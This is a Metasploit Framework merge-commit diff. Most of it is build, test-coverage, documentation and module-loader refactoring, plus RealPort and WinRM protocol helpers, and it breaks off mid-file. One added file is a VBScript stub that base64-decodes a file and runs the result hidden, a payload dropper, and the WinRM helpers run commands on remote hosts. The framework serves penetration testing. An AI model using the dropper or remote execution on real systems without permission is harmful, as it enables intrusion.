Merge branch 'master' into feature/udp-scanner-mixin
This commit is contained in:
commit
0e8a3f0ea6
|
@ -6,6 +6,8 @@
|
|||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
language: ruby
|
||||
rvm:
|
||||
# - '1.8.7'
|
||||
- '1.9.3'
|
3
Gemfile
3
Gemfile
|
@ -24,4 +24,7 @@ end
|
|||
group :test do
|
||||
# testing framework
|
||||
gem 'rspec'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
end
|
||||
|
|
|
@ -45,6 +45,10 @@ GEM
|
|||
rspec-expectations (2.11.3)
|
||||
diff-lcs (~> 1.1.3)
|
||||
rspec-mocks (2.11.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.33)
|
||||
yard (0.8.2.1)
|
||||
|
@ -60,4 +64,5 @@ DEPENDENCIES
|
|||
rake
|
||||
redcarpet
|
||||
rspec
|
||||
simplecov (= 0.5.4)
|
||||
yard
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
Metasploit
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
|
@ -0,0 +1,41 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -182,12 +182,14 @@ class FastLib
|
|||
end
|
||||
|
||||
|
||||
# This method provides a way to create a FASTLIB archive programatically.
|
||||
#
|
||||
# This method provides a way to create a FASTLIB archive programatically,
|
||||
# the key arguments are the name of the destination archive, the base
|
||||
# directory that should be excluded from the archived path, and finally
|
||||
# the list of specific files and directories to include in the archive.
|
||||
#
|
||||
# @param [String] lib the output path for the archive
|
||||
# @param [String] flag a string containing the hex values for the flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
|
||||
# @param [String] bdir the path to the base directory which will be stripped from all paths included in the archive
|
||||
# @param [Array<String>] dirs list of directories/files to pack into the archive. All dirs should be under bdir so
|
||||
# that the paths are stripped correctly.
|
||||
# @return [void]
|
||||
def self.dump(lib, flag, bdir, *dirs)
|
||||
head = ""
|
||||
data = ""
|
||||
|
|
|
@ -59,7 +59,7 @@ require 'msf/core/exploit/vim_soap'
|
|||
require 'msf/core/exploit/wdbrpc'
|
||||
require 'msf/core/exploit/wdbrpc_client'
|
||||
require 'msf/core/exploit/afp'
|
||||
|
||||
require 'msf/core/exploit/realport'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
|
|
@ -0,0 +1,236 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with the RealPort protocol
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::RealPort
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
#
|
||||
# Initializes an instance of an auxiliary module that uses RealPort
|
||||
#
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options( [
|
||||
Opt::RPORT(771)
|
||||
], Msf::Exploit::Remote::RealPort )
|
||||
end
|
||||
|
||||
@@REALPORT_BAUD_MAP = {
|
||||
'2400' => "\x03\x00",
|
||||
'9600' => "\x00\xc0",
|
||||
'19200' => "\x00\x60",
|
||||
'38400' => "\x00\x20",
|
||||
'57600' => "\x00\x30",
|
||||
'76800' => "\x00\x10",
|
||||
'115200' => "\x00\x10", # Yup, same as above
|
||||
'230400' => "\x00\x08",
|
||||
'460800' => "\x00\x04",
|
||||
'921600' => "\x00\x02",
|
||||
}
|
||||
|
||||
# Connect to the RealPort service and send the initial handshake
|
||||
# This has the benefit of retrieving the port count and product
|
||||
# Returns true if it succeeds and nil otherwise
|
||||
def realport_connect
|
||||
connect
|
||||
sock.put("\xfb\x01\xfb\x02\xfb\x18")
|
||||
res = sock.get_once(12, 5)
|
||||
return unless (res and res.length == 12)
|
||||
|
||||
unless res[0,2] == "\xfc\x01"
|
||||
vprint_error("#{rhost}:#{rport} Bad reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
len = res[2,2].unpack("n").first
|
||||
return unless len > 0
|
||||
|
||||
res = sock.get_once(len, 5)
|
||||
unless res.length == len
|
||||
vprint_error("#{rhost}:#{rport} Bad length: #{res.length} wanted #{len}")
|
||||
return
|
||||
end
|
||||
|
||||
name,info = res.split("\xfc\x02", 2)
|
||||
fields = info.unpack("n*")
|
||||
|
||||
@realport_port_count = fields[1].to_i
|
||||
@realport_name = name.gsub(/[\r\n]/, '')
|
||||
|
||||
# The server also sends us an additional four-byte packet we can ignore here
|
||||
# This throws away a \xFC\x18\x00\x04 sequence
|
||||
sock.get_once(-1, 5)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def realport_disconnect
|
||||
disconnect
|
||||
end
|
||||
|
||||
def realport_baud_to_speed(baud)
|
||||
@@REALPORT_BAUD_MAP[baud]
|
||||
end
|
||||
|
||||
def realport_recv_banner(port=0, timeout=30, max_data=4096)
|
||||
#
|
||||
# Data is received here, header is:
|
||||
# a2 00 01 82 XX
|
||||
# ^ [ counter ] [ length ] [ data ]
|
||||
#
|
||||
|
||||
# Can also see f0 here (keep alive)
|
||||
|
||||
banner = ""
|
||||
stime = Time.now.to_f
|
||||
dcnt = 0
|
||||
pcnt = 0
|
||||
|
||||
while banner.length < max_data and (Time.now.to_f - stime) < timeout
|
||||
|
||||
res = sock.get_once(1, 1)
|
||||
unless res
|
||||
if banner.length == 0 or pcnt < 3
|
||||
# Send a new line to wake up the remote end
|
||||
realport_send(port, "\r")
|
||||
pcnt += 1
|
||||
next
|
||||
else
|
||||
# Allow three empty reads *after* we have sent at least one probe and have data
|
||||
dcnt += 1
|
||||
break if dcnt > 3
|
||||
next
|
||||
end
|
||||
end
|
||||
bit = res.unpack("C").first
|
||||
case bit
|
||||
when (0xA0 + port)
|
||||
# Read the packet sequence number (two bytes)
|
||||
res = sock.get_once(2, 1)
|
||||
when 0xF0
|
||||
# Skip this keep-alive response
|
||||
when (0x80 + port)
|
||||
# Read the one-byte length value
|
||||
res = sock.get_once(1, 1)
|
||||
if res
|
||||
len = res.unpack("C").first
|
||||
res = sock.get_once(len, 1)
|
||||
if res
|
||||
banner << res
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
banner
|
||||
end
|
||||
|
||||
def realport_send(port=0, data="")
|
||||
sock.put( [port].pack("C") + data )
|
||||
end
|
||||
|
||||
def realport_close(port=0)
|
||||
cprt = [ 0xb0 + port ].pack("C")
|
||||
pkt = cprt + "\x28\x00\xc0\x00\xb0\x00\x01\x00\x00\x00\x00" + cprt + "\x0a\x03"
|
||||
|
||||
# Response
|
||||
# b2 0b 03 00 00 02
|
||||
|
||||
# Send a close request
|
||||
sock.put(pkt)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Close:#{ res.inspect }")
|
||||
return
|
||||
end
|
||||
|
||||
def realport_open(port=0, baud='9600')
|
||||
|
||||
@realport_banner = ''
|
||||
|
||||
cprt = [ 0xb0 + port ].pack("C")
|
||||
aprt = [ 0xa0 + port ].pack("C")
|
||||
|
||||
speed = realport_baud_to_speed(baud)
|
||||
|
||||
# Open port
|
||||
pkt1 = "\xf0" + cprt + "\x0a"+ "\x00"
|
||||
|
||||
# Response
|
||||
# b2 0b 00 00 00 02
|
||||
# ^ ^ <- port number
|
||||
|
||||
# Open the port
|
||||
sock.put(pkt1)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Open:#{ res.inspect }")
|
||||
|
||||
# Access the port
|
||||
pkt2 =
|
||||
cprt + "\x0e" +
|
||||
cprt + "\x2a\x02\xc0\xf3" +
|
||||
cprt + "\x10" +
|
||||
cprt + "\x14" +
|
||||
cprt + "\x16" +
|
||||
cprt + "\x2c\x03\x00\x00"
|
||||
|
||||
# Response (GOOD)
|
||||
# b2 0f 00 00 00 00 b2 15 0f ff 0f ff b2 11 00 00
|
||||
# 13 b2 17 01 02 00 2f 06 a8 00 1c 20 00 00 00 00
|
||||
# 00 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
# 00
|
||||
|
||||
# Response (BAD)
|
||||
# \xFF \x17 Access to unopened port\x00
|
||||
|
||||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Negotiate:#{ res.inspect }")
|
||||
|
||||
# Terminal settings
|
||||
pkt3 =
|
||||
cprt + "\x30\x03\xff\x00\x64" +
|
||||
cprt + "\x2d\x03\xff\x0b\xff" +
|
||||
cprt + "\x28" + speed + "\x04" +
|
||||
cprt + "\x00\x01\x00\x00\x00\x00" +
|
||||
cprt + "\x2c\x00\x12\x00" +
|
||||
cprt + "\x2e\x11\x13\x16\x00\x00" +
|
||||
cprt + "\x2f\x03\xff\x00\x64" +
|
||||
cprt + "\x40\x37" + aprt + "\x0f\xff"
|
||||
|
||||
# Response
|
||||
# c2 12 00 00 f0
|
||||
# ^
|
||||
|
||||
# Send terminal settings request
|
||||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Settings:#{ res.inspect }")
|
||||
return :open
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
|
|||
NTLM_CONST ||= Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
|
@ -61,13 +62,17 @@ module Exploit::Remote::WinRM
|
|||
|
||||
def winrm_run_cmd(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
end
|
||||
if resp.code == 401
|
||||
print_error "Login failure! Recheck supplied credentials."
|
||||
return resp .code
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
retval == resp.code || 0
|
||||
retval = resp.code || 0
|
||||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
|
@ -80,6 +85,29 @@ module Exploit::Remote::WinRM
|
|||
return streams
|
||||
end
|
||||
|
||||
def winrm_run_cmd_hanging(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
if resp.nil?
|
||||
print_error "Recieved no reply from server"
|
||||
return nil
|
||||
end
|
||||
if resp.code == 401
|
||||
print_error "Login failure! Recheck supplied credentials."
|
||||
return resp .code
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
retval = resp.code || 0
|
||||
return retval
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams
|
||||
end
|
||||
|
||||
def winrm_wql_msg(wql)
|
||||
action = winrm_uri_action("wql")
|
||||
contents = winrm_header(action) + winrm_wql_body(wql)
|
||||
|
@ -134,6 +162,7 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def parse_wql_response(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
columns = []
|
||||
rows =[]
|
||||
|
@ -160,16 +189,19 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
|
||||
def winrm_get_shell_id(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
|
||||
end
|
||||
|
||||
def winrm_get_cmd_id(response)
|
||||
return nil if response.nil?
|
||||
xml = response.body
|
||||
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
|
||||
end
|
||||
|
||||
def winrm_get_cmd_streams(response)
|
||||
return nil if response.nil?
|
||||
streams = {
|
||||
'stdout' => '',
|
||||
'stderr' => '',
|
||||
|
@ -178,7 +210,7 @@ module Exploit::Remote::WinRM
|
|||
rxml = REXML::Document.new(xml).root
|
||||
rxml.elements.to_a("//rsp:Stream").each do |node|
|
||||
next if node.text.nil?
|
||||
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
|
||||
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
|
||||
end
|
||||
return streams
|
||||
end
|
||||
|
@ -291,6 +323,13 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
end
|
||||
|
||||
def wmi_namespace
|
||||
return datastore['NAMESPACE'] if datastore['NAMESPACE']
|
||||
return @namespace_override if @namespace_override
|
||||
return "/root/cimv2/"
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def winrm_option_set(options)
|
||||
|
@ -400,7 +439,7 @@ module Exploit::Remote::WinRM
|
|||
def winrm_uri_action(type)
|
||||
case type
|
||||
when "wql"
|
||||
return %q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*</w:ResourceURI>
|
||||
return %Q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/wmi#{wmi_namespace}*</w:ResourceURI>
|
||||
<a:Action mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate</a:Action>}
|
||||
when "create_shell"
|
||||
return %q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>
|
||||
|
|
|
@ -26,11 +26,11 @@ module Msf::ModuleManager::Loading
|
|||
def file_changed?(path)
|
||||
changed = false
|
||||
|
||||
module_details = self.module_info_by_path[path]
|
||||
module_info = self.module_info_by_path[path]
|
||||
|
||||
# if uncached then it counts as changed
|
||||
# Payloads can't be cached due to stage/stager matching
|
||||
if module_details.nil? or module_details[:mtype] == Msf::MODULE_PAYLOAD
|
||||
if module_info.nil? or module_info[:type] == Msf::MODULE_PAYLOAD
|
||||
changed = true
|
||||
else
|
||||
begin
|
||||
|
@ -39,7 +39,7 @@ module Msf::ModuleManager::Loading
|
|||
# if the file does not exist now, that's a change
|
||||
changed = true
|
||||
else
|
||||
cached_modification_time = module_details[:mtime].to_i
|
||||
cached_modification_time = module_info[:modification_time].to_i
|
||||
|
||||
# if the file's modification time's different from the cache, then it's changed
|
||||
if current_modification_time != cached_modification_time
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
# Base error class for all error under {Msf::Modules}
|
||||
class Msf::Modules::Error < StandardError
|
||||
def initialize(attributes={})
|
||||
@module_path = attributes[:module_path]
|
||||
@module_reference_name = attributes[:module_reference_name]
|
||||
|
||||
message_parts = []
|
||||
message_parts << "Failed to load module"
|
||||
|
||||
if module_reference_name or module_path
|
||||
clause_parts = []
|
||||
|
||||
if module_reference_name
|
||||
clause_parts << module_reference_name
|
||||
end
|
||||
|
||||
if module_path
|
||||
clause_parts << "from #{module_path}"
|
||||
end
|
||||
|
||||
clause = clause_parts.join(' ')
|
||||
message_parts << "(#{clause})"
|
||||
end
|
||||
|
||||
causal_message = attributes[:causal_message]
|
||||
|
||||
if causal_message
|
||||
message_parts << "due to #{causal_message}"
|
||||
end
|
||||
|
||||
message = message_parts.join(' ')
|
||||
|
||||
super(message)
|
||||
end
|
||||
|
||||
attr_reader :module_reference_name
|
||||
attr_reader :module_path
|
||||
end
|
|
@ -41,7 +41,7 @@ class Msf::Modules::Loader::Archive < Msf::Modules::Loader::Base
|
|||
type = entry.split('/', 2)[0]
|
||||
type = type.singularize
|
||||
|
||||
unless module_manager.enablement_by_type[type]
|
||||
unless module_manager.type_enabled?(type)
|
||||
next
|
||||
end
|
||||
|
||||
|
|
|
@ -3,6 +3,8 @@
|
|||
#
|
||||
require 'msf/core/modules/loader'
|
||||
require 'msf/core/modules/namespace'
|
||||
require 'msf/core/modules/metasploit_class_compatibility_error'
|
||||
require 'msf/core/modules/version_compatibility_error'
|
||||
|
||||
# Responsible for loading modules for {Msf::ModuleManager}.
|
||||
#
|
||||
|
@ -77,7 +79,6 @@ class Msf::Modules::Loader::Base
|
|||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
|
||||
# Loads a module from the supplied path and module_reference_name.
|
||||
#
|
||||
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
|
||||
|
@ -104,24 +105,33 @@ class Msf::Modules::Loader::Base
|
|||
force = options[:force] || false
|
||||
reload = options[:reload] || false
|
||||
|
||||
unless force or module_manager.file_changed?(parent_path)
|
||||
dlog("Cached module from #{parent_path} has not changed.", 'core', LEV_2)
|
||||
module_path = self.module_path(parent_path, type, module_reference_name)
|
||||
file_changed = module_manager.file_changed?(module_path)
|
||||
|
||||
unless force or file_changed
|
||||
dlog("Cached module from #{module_path} has not changed.", 'core', LEV_2)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
reload ||= force || file_changed
|
||||
|
||||
metasploit_class = nil
|
||||
module_path = self.module_path(parent_path, type, module_reference_name)
|
||||
|
||||
module_content = read_module_content(parent_path, type, module_reference_name)
|
||||
|
||||
if module_content.empty?
|
||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||
return false
|
||||
end
|
||||
|
||||
loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload) { |namespace_module|
|
||||
# set the parent_path so that the module can be reloaded with #load_module
|
||||
namespace_module.parent_path = parent_path
|
||||
|
||||
module_content = read_module_content(parent_path, type, module_reference_name)
|
||||
|
||||
begin
|
||||
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
|
||||
# handle interrupts as pass-throughs unlike other Exceptions
|
||||
# handle interrupts as pass-throughs unlike other Exceptions so users can bail with Ctrl+C
|
||||
rescue ::Interrupt
|
||||
raise
|
||||
rescue ::Exception => error
|
||||
|
@ -129,45 +139,33 @@ class Msf::Modules::Loader::Base
|
|||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
error_message = "Failed to load module (#{module_path}) due to error and #{version_compatibility_error}"
|
||||
load_error(module_path, version_compatibility_error)
|
||||
else
|
||||
error_message = "#{error.class} #{error}"
|
||||
load_error(module_path, error)
|
||||
end
|
||||
|
||||
# record the error message without the backtrace for the console
|
||||
module_manager.module_load_error_by_path[module_path] = error_message
|
||||
|
||||
error_message_with_backtrace = "#{error_message}:\n#{error.backtrace.join("\n")}"
|
||||
elog(error_message_with_backtrace)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
error_message = version_compatibility_error.to_s
|
||||
|
||||
elog(error_message)
|
||||
module_manager.module_load_error_by_path[module_path] = error_message
|
||||
load_error(module_path, version_compatibility_error)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
metasploit_class = namespace_module.metasploit_class
|
||||
begin
|
||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||
load_error(module_path, error)
|
||||
|
||||
unless metasploit_class
|
||||
error_message = "Missing Metasploit class constant"
|
||||
|
||||
elog(error_message)
|
||||
module_manager.module_load_error_by_path[module_path] = error_message
|
||||
|
||||
return false
|
||||
return false
|
||||
end
|
||||
|
||||
unless usable?(metasploit_class)
|
||||
ilog(
|
||||
"Skipping module #{module_reference_name} under #{parent_path} because is_usable returned false.",
|
||||
"Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.",
|
||||
'core',
|
||||
LEV_1
|
||||
)
|
||||
|
@ -191,6 +189,11 @@ class Msf::Modules::Loader::Base
|
|||
# not trigger an ambiguous name warning, which would cause the reloaded module to not be stored in the
|
||||
# ModuleManager.
|
||||
module_manager.delete(module_reference_name)
|
||||
|
||||
# Delete the original copy of the module in the type-specific module set stores the reloaded module and doesn't
|
||||
# trigger an ambiguous name warning
|
||||
module_set = module_manager.module_set(type)
|
||||
module_set.delete(module_reference_name)
|
||||
end
|
||||
|
||||
# Do some processing on the loaded module to get it into the right associations
|
||||
|
@ -290,7 +293,6 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
dlog("Reloading module #{module_reference_name}...", 'core')
|
||||
|
||||
|
||||
if load_module(parent_path, type, module_reference_name, :force => true, :reload => true)
|
||||
# Create a new instance of the module
|
||||
reloaded_module_instance = module_manager.create(module_reference_name)
|
||||
|
@ -401,6 +403,29 @@ class Msf::Modules::Loader::Base
|
|||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
def load_error(module_path, error)
|
||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||
# backtraces should not appear.
|
||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||
|
||||
log_lines = []
|
||||
log_lines << "#{module_path} failed to load due to the following error:"
|
||||
log_lines << error.class.to_s
|
||||
log_lines << error.to_s
|
||||
log_lines << "Call stack:"
|
||||
log_lines += error.backtrace
|
||||
|
||||
log_message = log_lines.join("\n")
|
||||
elog(log_message)
|
||||
end
|
||||
|
||||
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
|
||||
attr_reader :module_manager
|
||||
|
||||
|
@ -486,20 +511,18 @@ class Msf::Modules::Loader::Base
|
|||
elog("Reloading namespace_module #{previous_namespace_module} when :reload => false")
|
||||
end
|
||||
|
||||
relative_name = namespace_module_names.last
|
||||
|
||||
if previous_namespace_module
|
||||
parent_module = previous_namespace_module.parent
|
||||
relative_name = namespace_module_names.last
|
||||
|
||||
# remove_const is private, so invoke in instance context
|
||||
parent_module.instance_eval do
|
||||
remove_const relative_name
|
||||
end
|
||||
else
|
||||
parent_module = nil
|
||||
relative_name = namespace_module_names.last
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
end
|
||||
|
||||
namespace_module = create_namespace_module(namespace_module_names)
|
||||
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
|
||||
# constant if needed.
|
||||
parent_module = namespace_module.parent
|
||||
|
||||
begin
|
||||
loaded = block.call(namespace_module)
|
||||
|
@ -534,19 +557,29 @@ class Msf::Modules::Loader::Base
|
|||
#
|
||||
# @param [Module] parent_module The .parent of namespace_module before it was removed from the constant tree.
|
||||
# @param [String] relative_name The name of the constant under parent_module where namespace_module was attached.
|
||||
# @param [Module] namespace_module The previous namespace module containing the old module content.
|
||||
# @param [Module, nil] namespace_module The previous namespace module containing the old module content. If `nil`,
|
||||
# then the relative_name constant is removed from parent_module, but nothing is set as the new constant.
|
||||
# @return [void]
|
||||
def restore_namespace_module(parent_module, relative_name, namespace_module)
|
||||
if parent_module and namespace_module
|
||||
# the const may have been redefined by {#create_namespace_module}, in which case that new namespace_module needs
|
||||
# to be removed so the original can replace it.
|
||||
if parent_module.const_defined? relative_name
|
||||
parent_module.instance_eval do
|
||||
remove_const relative_name
|
||||
end
|
||||
end
|
||||
if parent_module
|
||||
# If there is a current module with relative_name
|
||||
if parent_module.const_defined?(relative_name)
|
||||
# if the current value isn't the value to be restored.
|
||||
if parent_module.const_get(relative_name) != namespace_module
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
# if there was a previous module, not set it to the name
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
else
|
||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -75,13 +75,17 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
|
||||
module_content = ''
|
||||
|
||||
# force to read in binary mode so Pro modules won't be truncated on Windows
|
||||
File.open(full_path, 'rb') do |f|
|
||||
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
|
||||
# @see http://www.ruby-forum.com/topic/209005
|
||||
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
|
||||
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
|
||||
module_content = f.read(f.stat.size)
|
||||
begin
|
||||
# force to read in binary mode so Pro modules won't be truncated on Windows
|
||||
File.open(full_path, 'rb') do |f|
|
||||
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
|
||||
# @see http://www.ruby-forum.com/topic/209005
|
||||
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
|
||||
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
|
||||
module_content = f.read(f.stat.size)
|
||||
end
|
||||
rescue Errno::ENOENT => error
|
||||
load_error(full_path, error)
|
||||
end
|
||||
|
||||
module_content
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
require 'msf/core/modules/error'
|
||||
|
||||
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
|
||||
# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module.
|
||||
class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error
|
||||
def initialize(attributes={})
|
||||
super_attributes = {
|
||||
